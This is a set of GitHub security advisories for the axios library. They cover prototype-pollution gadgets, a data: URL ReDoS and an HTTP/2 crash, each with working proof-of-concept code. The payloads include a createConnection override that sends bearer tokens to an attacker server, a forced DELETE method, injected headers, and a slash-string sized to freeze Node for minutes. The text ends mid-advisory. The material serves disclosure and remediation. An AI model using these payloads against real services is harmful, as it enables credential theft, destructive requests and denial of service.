The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.

Proof of Concept of Attack

Constrained local demonstration:

js Object.prototype.createConnection = function (options, cb) { const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => { if (typeof cb === 'function') cb(null, socket); }); return socket; };

await axios.get('http://127.0.0.1:<legit-port>/secret', { headers: { Authorization: 'Bearer SECRET' }, proxy: false });

Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.

Workarounds

Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.

<details> <summary><h3>Original report</h3></summary> Summary

Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.

When Object.prototype.createConnection is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with Object.create(null). The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.

This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.

Impact

Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:

- redirect the underlying socket for axios requests to attacker-controlled infrastructure - receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials - return attacker-controlled responses to the caller - bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere

The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted Object.prototype from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.

Technical details

The HTTP adapter constructs a null-prototype request options object before calling the selected transport:

js const options = Object.assign(Object.create(null), { path, method: method, headers: toByteStringHeaderObject(headers), agents: { http: config.httpAgent, https: config.httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, });

That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from Object.prototype again.

createConnection is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.

Reproduction

The following minimal proof uses a legitimate target server and an attacker server. It pollutes Object.prototype.createConnection, then makes an axios request to the legitimate server with an Authorization header.

js import net from 'node:net'; import http from 'node:http'; import axios from 'axios';

function listen(handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(0, '127.0.0.1', () => resolve(s)); }); }

const legitHits = []; const attackerHits = [];

const legit = await listen((req, res) => { legitHits.push({url: req.url, auth: req.headers.authorization || null}); res.end('LEGIT'); });

const attacker = await listen((req, res) => { attackerHits.push({url: req.url, auth: req.headers.authorization || null}); res.end('ATTACKER'); });

Object.prototype.createConnection = function(options, cb) { const sock = net.createConnection({ host: '127.0.0.1', port: attacker.address().port, }, () => { if (typeof cb === 'function') cb(null, sock); }); return sock; };

const res = await axios.get(http://127.0.0.1:${legit.address().port}/secret, { headers: {Authorization: 'Bearer SECRET'}, proxy: false, });

console.log({ response: res.data, legitHits, attackerHits, });

Observed result on the current npm package:

json { "response": "ATTACKER", "legitHits": [], "attackerHits": [ { "url": "/secret", "auth": "Bearer SECRET" } ] }

The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.

Versions tested

I reproduced this against:

- axios 1.16.1 from npm - axios 1.17.0 from npm - current v1.x source at commit a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b

Fix validation

Adding an own safe value for createConnection to the adapter options object prevents inherited pollution from being observed after Node's option copy:

js const options = Object.assign(Object.create(null), { path, method: method, headers: toByteStringHeaderObject(headers), agents: { http: config.httpAgent, https: config.httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, createConnection: undefined, });

With that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.

Remediation

Set own safe defaults for sensitive Node HTTP request options before calling transport.request, at minimum:

js createConnection: undefined

I recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as lookup, timeout, localAddress, servername, signal, and related options. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.

Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.

The issue is conditional and should not be described as affecting every interceptor or every request.

Affected Functionality

Affected:

- Request interceptor chains where an interceptor returns a new ordinary object. - Replacement config objects that omit an own headers property. - dispatchRequest() header normalization through AxiosHeaders.from(config.headers).

Not affected:

- Requests whose interceptor preserves an own headers property. - Interceptors that mutate and return the existing null-prototype config. - Processes without prototype pollution.

Technical Details

lib/core/dispatchRequest.js contains:

js config.headers = AxiosHeaders.from(config.headers);

The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.

Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

js Object.prototype.headers = { 'X-Poisoned': 'yes' };

const client = axios.create(); client.interceptors.request.use((config) => ({ url: config.url, method: config.method, timeout: config.timeout }));

await client.get(url);

Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.

Workarounds

Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.

<details> <summary><h3>Original report</h3></summary>

Summary

Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.

This allows attacker-controlled headers to be placed on the wire.

Affected Version

Validated on:

- axios: 1.17.0 - commit: 4306df2 - runtime: Node.js v24.15.0

Preconditions

- A separate prototype-pollution primitive can write an object to Object.prototype.headers. - A request interceptor rebuilds config and omits own headers.

Root Cause

dispatchRequest() uses:

js config.headers = AxiosHeaders.from(config.headers);

If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.

Impact

An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.

Proof of Concept

js import axios from './index.js'; import http from 'http';

const start = (handler) => new Promise((resolve) => { const server = http.createServer(handler); server.listen(0, '127.0.0.1', () => resolve(server)); });

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];

const server = await start((req, res) => { hits.push(req.headers); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); });

try { Object.prototype.headers = { 'X-Poisoned': 'yes', 'If-None-Match': '' };

const client = axios.create(); client.interceptors.request.use((config) => ({ url: config.url, method: config.method, timeout: config.timeout }));

await client.get(http://127.0.0.1:${server.address().port}/headers, { timeout: 3000 });

console.log(hits[0]); } finally { delete Object.prototype.headers; await stop(server); }

Observed wire headers:

json { "x-poisoned": "yes", "if-none-match": "", "user-agent": "axios/1.17.0" }

References

- https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg - https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg </details> ---

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios for Node.js parses data: URLs in lib/helpers/fromDataURI.js. The current RFC-2397 parser uses a regular expression whose media type groups allow / inside both sides of the type/subtype match. A malformed data: URL containing many slashes and no comma forces the JavaScript regex engine to try many possible placements for the separator before failing.

Applications are affected when they pass untrusted URL strings to axios and do not reject or constrain data: URLs before axios parses them.

Impact

An attacker can make the Node.js event loop spend significant synchronous CPU time parsing a single malformed URL. In a server that accepts a URL from an HTTP request and calls axios.get(url), this can block unrelated requests and health checks until parsing completes.

The issue is availability-only. It does not disclose data or modify requests.

Affected Functionality

Affected:

- Node.js HTTP adapter data URL handling. - axios.get() or equivalent calls where config.url has the data: protocol.

Not affected:

- Browser fetch/XHR URL handling. - Node requests where the application rejects data: URLs before calling axios. - Older checked 0.x data URL parser shape unless separately proven vulnerable.

Technical Details

lib/helpers/fromDataURI.js contains:

js const DATAURLPATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+))(;base64)?,([\s\S])$/;

The [^,;]+ groups include /, so a long string of slashes without a comma can be partitioned around the required \/ in many ways before the match fails. The match runs before axios can apply request timeout behavior, so timeout does not mitigate the parsing pause.

Local timing on axios 1.18.1 with small payloads showed about 2.4 ms at 1000 slashes, 16.6 ms at 3000 slashes, and 71.5 ms at 6000 slashes, consistent with the submitted quadratic scaling while avoiding long-running payloads.

Proof of Concept of Attack

Constrained helper-level demonstration:

js import axios from 'axios';

await axios.get('data:' + '/'.repeat(6000));

The request fails after parsing, but the failure is delayed by synchronous regex work. Larger payloads increase the pause substantially.

Workarounds

Reject data: URLs before passing untrusted input to axios, or enforce a strict maximum URL length for URL-fetching endpoints. Applications that do not need data: URL support should deny that protocol explicitly.

<details> <summary><h3>Original report</h3></summary> ReDoS in fromDataURI data: URL parser freezes the event loop (DoS)

Affected - Package: axios (Node.js http adapter) - Versions: 1.x (regex present on v1.x, current release line) - File: lib/helpers/fromDataURI.js - CWE-1333 (Inefficient Regular Expression Complexity)

Issue fromDataURI parses data: URLs with this regex:

js // lib/helpers/fromDataURI.js:9 const DATAURLPATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+))(;base64)?,([\s\S])$/;

The mediatype tokens [^,;]+ include /, so they can span multiple slashes ambiguously. A data: URL made of many slashes with no comma forces the engine to try every way to place the single \/ divider before failing — quadratic O(n²) backtracking. It runs synchronously on the main thread, so the whole Node event loop is frozen for the entire parse. Reachable through the public API on the Node http adapter (axios.get(url)); the browser fetch/xhr adapters are not affected because they do not call fromDataURI.

A configured timeout does not help: the freeze happens during parsing, before any network timer can fire.

PoC (minimal) js import axios from 'axios'; // ~256 KB data: URL of pure slashes, no comma await axios.get('data:' + '/'.repeat(262139)); // blocks the event loop ~6 min, then throws

Lab results Single-threaded "fetch a user-supplied URL" service (link-preview style) calling axios.get on a JSON body { "url": "..." }, with timeout: 1000 set.

Scaling is clean O(n²) (constant k ≈ 5.6e-6 ms/byte², stable across sizes):

| data: URL size | Event-loop freeze (one request) | | --- | --- | | 32 KB | 6.3 s (measured end-to-end; server logged event loop BLOCKED for 6.30s) | | 64 KB | ~24 s | | 128 KB | ~96 s | | 256 KB | ~385 s (~6.4 min) | | 1 MB | ~100 min |

During the freeze the server answers nothing: a /healthz liveness probe times out for the whole window, and the server's own event-loop monitor cannot even log until the parse finishes. In a run through an intercepting proxy, the proxy hit its 120 s upstream timeout and gave up, while the origin stayed pegged at 100% CPU on one core past that — client/proxy timeouts do not mitigate it.

The attacker controls only the URL string and needs no auth. ~256 KB every ~6 min (≈ 0.7 bytes/sec) keeps a server permanently unavailable.

Impact Unauthenticated remote denial of service. One small request takes a Node service fully offline for minutes; a trickle keeps it down indefinitely. CVSS 3.1: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Fix RFC 2045 type/subtype tokens never contain /. Excluding / from those two character classes removes the ambiguity and the backtracking:

js const DATAURLPATTERN = /^([^,;/]+\/[^,;/]+)?((?:;[^,;=]+=[^,;]+))(;base64)?,([\s\S])$/;

Worst-case parse drops from ~2600 ms to ~0.002 ms. All valid data: URLs, including slashes in the body, parse identically. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET.

Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.

Impact

In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit method from GET to methods such as DELETE, POST, PUT, or PATCH. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.

Method aliases such as axios.get(url) and requests with an explicit own method are not affected by the confirmed method path.

Affected Functionality

Affected:

- Default axios instance calls: axios.request({ url }). - Callable shorthand: axios({ url }). - Requests where no own config.method is provided.

Not affected in the confirmed method PoC:

- axios.get(url) and other method aliases. - axios.request({ url, method: 'GET' }). - axios.create().request({ url }) when the created instance defaults are produced by current mergeConfig() and do not inherit from Object.prototype.

Technical Details

lib/core/Axios.js sets the request method with:

js config.method = (config.method || this.defaults.method || 'get').toLowerCase();

mergeConfig() now returns a null-prototype request config, so config.method is safe from Object.prototype. However, the default axios instance stores the module defaults object as this.defaults, and that defaults object is a normal object. If Object.prototype.method exists, this.defaults.method resolves to the polluted inherited value.

Local verification on axios 1.18.1 showed a default-instance axios.request({ url }) request reaching a loopback server as DELETE after Object.prototype.method = 'DELETE'.

Proof of Concept of Attack

Constrained local demonstration:

js Object.prototype.method = 'DELETE'; try { await axios.request({ url: 'http://127.0.0.1:<port>/resource' }); } finally { delete Object.prototype.method; }

Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.

Workarounds

Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.

<details> <summary><h3>Original report</h3></summary> Summary

Axios 1.17.0 contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes Object.prototype.method, default-instance calls such as axios.request({ url }) and axios({ url }) can be forced to use an attacker-controlled HTTP method, such as DELETE, instead of the expected default GET.

Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from this.defaults without an own-property guard, allowing inherited values from Object.prototype to influence request behavior.

This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to Object.prototype; Axios is the component that becomes dangerous after Object.prototype has already been polluted by another bug in the same process.

Details

The vulnerable fallback read is in lib/core/Axios.js:

js // Set config.allowAbsoluteUrls if (config.allowAbsoluteUrls !== undefined) { // do nothing } else if (this.defaults.allowAbsoluteUrls !== undefined) { config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls; } else { config.allowAbsoluteUrls = true; }

// Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase();

The merged request config is created as a null-prototype object in lib/core/mergeConfig.js:

js const config = Object.create(null);

Therefore, when the caller does not provide config.method, the fallback becomes:

js this.defaults.method

The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from Object.prototype. If Object.prototype.method is polluted, this.defaults.method resolves to that inherited value and Axios uses it as the request method.

The same unsafe inherited-property pattern also affects this.defaults.allowAbsoluteUrls, which can change how absolute URLs are combined with baseURL.

Proof of Concept

Access and Attack Conditions

No admin access is required for Axios itself. This is a library-level gadget.

The attacker must have an existing way to pollute Object.prototype in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.

Required condition:

text Some other bug or unsafe merge path in the application must allow Object.prototype pollution.

What Axios contributes:

text Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.

What Axios does not do:

text Axios does not create Object.prototype pollution by itself.

Affected usage:

js axios.request({ url }); axios({ url });

Not affected in the confirmed PoC:

js axios.get(url); axios.request({ url, method: "GET" }); axios.create().request({ url });

Reproduction Steps

1. Create a clean test directory and install Axios 1.17.0:

powershell mkdir axios-validation cd axios-validation npm init -y npm install axios@1.17.0 --no-audit --no-fund

2. Save the method override PoC below as:

text validate-prototype-method-gadget.mjs

3. Run the PoC:

powershell node validate-prototype-method-gadget.mjs

4. Confirm that the output shows:

text defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED

5. This proves that after Object.prototype.method = "DELETE", default-instance calls that omit an explicit method are sent as DELETE.

What the Method PoC Script Does

The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:

js Object.prototype.method = "DELETE";

While that pollution is active, the script sends five Axios requests:

js axios.request({ url }); // expected vulnerable path axios({ url }); // expected vulnerable shorthand path axios.get(url); // expected safe alias path axios.request({ url, method: "GET" }); // expected safe explicit-method path axios.create().request({ url }); // expected safe isolated-instance path

The script then deletes the polluted property:

js delete Object.prototype.method;

Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.

Method Override PoC

Create validate-prototype-method-gadget.mjs:

js import http from "node:http"; import axios from "axios";

async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; }

async function runRequest(label, requestFn) { const hits = []; const server = http.createServer((req, res) => { hits.push({ method: req.method, url: req.url, }); res.writeHead(200, { "content-type": "application/json" }); res.end(JSON.stringify({ ok: true })); });

const port = await listen(server); const url = http://127.0.0.1:${port}/${label};

let status = "completed"; let error = ""; try { await requestFn(url); } catch (err) { status = "error"; error = err?.message || String(err); }

server.close(); return { label, status, error, hits }; }

const results = [];

Object.prototype.method = "DELETE"; try { results.push(await runRequest("default-request-no-method", (url) => axios.request({ url }))); results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url }))); results.push(await runRequest("default-get-alias", (url) => axios.get(url))); results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));

const instance = axios.create(); results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url }))); } finally { delete Object.prototype.method; }

const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || ""; const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || ""; const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || ""; const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || ""; const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";

console.log(axiosVersion=${axios.VERSION}); console.log(results=${JSON.stringify(results)}); console.log(defaultRequestMethod=${defaultRequestMethod}); console.log(defaultShorthandMethod=${defaultShorthandMethod}); console.log(getAliasMethod=${getAliasMethod}); console.log(explicitGetMethod=${explicitGetMethod}); console.log(createdInstanceMethod=${createdInstanceMethod});

const confirmed = defaultRequestMethod === "DELETE" && defaultShorthandMethod === "DELETE" && getAliasMethod === "GET" && explicitGetMethod === "GET" && createdInstanceMethod === "GET";

console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED"); process.exitCode = confirmed ? 0 : 1;

Run:

powershell node validate-prototype-method-gadget.mjs

Observed result:

text axiosVersion=1.17.0 defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED

The local server received:

text axios.request({ url }) -> DELETE axios({ url }) -> DELETE axios.get(url) -> GET axios.request({ url, method:"GET" }) -> GET axios.create().request({ url }) -> GET

This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.

Supporting allowAbsoluteUrls Gadget Evidence

The same inherited-property issue affects allowAbsoluteUrls.

Create validate-prototype-allowabsoluteurls-gadget.mjs:

js import http from "node:http"; import axios from "axios";

async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; }

async function runCase(label, requestFn) { const baseHits = []; const absoluteHits = [];

const baseServer = http.createServer((req, res) => { baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("base"); });

const absoluteServer = http.createServer((req, res) => { absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("absolute"); });

const basePort = await listen(baseServer); const absolutePort = await listen(absoluteServer);

try { await requestFn({ baseURL: http://127.0.0.1:${basePort}/api, url: http://127.0.0.1:${absolutePort}/absolute-path, }); } catch {}

baseServer.close(); absoluteServer.close();

return { label, baseHits, absoluteHits }; }

const results = [];

results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));

Object.prototype.allowAbsoluteUrls = false; try { results.push(await runCase("polluted-default-request", (config) => axios.request(config))); const instance = axios.create(); results.push(await runCase("polluted-created-instance", (config) => instance.request(config))); } finally { delete Object.prototype.allowAbsoluteUrls; }

console.log(axiosVersion=${axios.VERSION}); console.log(results=${JSON.stringify(results)});

Observed result:

text axiosVersion=1.17.0 baselineUsedAbsolute=true pollutedDefaultUsedBase=true pollutedInstanceUsedAbsolute=true RESULT: CONFIRMED

Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.

Impact

This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.

If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:

- axios.request({ url }) - axios({ url })

This can turn an expected safe default GET request into a state-changing method such as:

- DELETE - POST - PUT - PATCH

Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.

The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path. </details>

---

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.

This affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.

Impact

The impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.

This does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.

Affected Functionality

Affected path:

- Node.js HTTP adapter - httpVersion: 2 - HTTP/2 session creation/reuse through Http2Sessions - Network/session failures emitted as ClientHttp2Session error events

Caller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.

Technical Details

Http2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.

When the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.

Proof of Concept of Attack js import axios from './index.js';

await axios.get('http://127.0.0.1:1/', { httpVersion: 2, timeout: 1000 });

Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.

Workarounds

Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.

<details> <summary><h3>Original report</h3></summary> Hi, i'm RelunSec a security researcher working with InsiteTech.jp

i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server

js const http = require('http'); // Import the local axios version to ensure the patch is active const axios = require('../../lib/axios.js').default; const url = require('url');

// A public HTTP/2 server to make internal requests to. // This simulates an external service your application might interact with over HTTP/2. const TARGETURL = 'https://nghttp2.org/'; const PORT = 3000;

const server = http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const http2optionId = parsedUrl.query.http2optionId;

if (!http2optionId) { console.warn([SERVER] Rejected request: Missing http2optionId parameter); res.writeHead(400, { 'Content-Type': 'text/plain' }); res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n'); return; }

console.log([SERVER] Received request with http2optionId: ${http2optionId});

// Create an Axios instance configured for HTTP/2 // The 'id' in http2Options makes each session configuration unique. const axiosInstance = axios.create({ baseURL: TARGETURL, httpVersion: 2, http2Options: { // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert id: http2optionId, // This is the attacker-controlled unique part }, // Adding a short timeout to prevent attacker from waiting too long if target is slow timeout: 5000 });

try { const response = await axiosInstance.get('/'); res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}); } catch (error) { // Check for the specific error indicating session limit reached if (error.isAxiosError && error.code === axios.AxiosError.ERRBADOPTIONVALUE) { console.error([SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}); } else { console.error([SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:, error.message); res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}); } } });

server.listen(PORT, () => { console.log(PoC Server listening on http://localhost:${PORT}); console.log(Targeting internal HTTP/2 requests to: ${TARGETURL}); console.log(Send requests to http://localhost:${PORT}?http2optionId=...); console.log(Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERRBADOPTIONVALUE.); });

i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do

rust relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi curl: (52) Empty reply from server

that is extremly simple to trigger

it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

Affected Functionality

Affected:

- Fetch adapter requests. - resolveConfig() handling of utils.isFormData(data). - Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.

Not affected:

- Node HTTP adapter's later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders. - Plain object request bodies rejected by current isFormData() plain-object guard. - Processes without prototype pollution.

Technical Details

lib/helpers/resolveConfig.js currently contains:

js if (utils.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) { headers.setContentType(undefined); } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } }

Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

js Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });

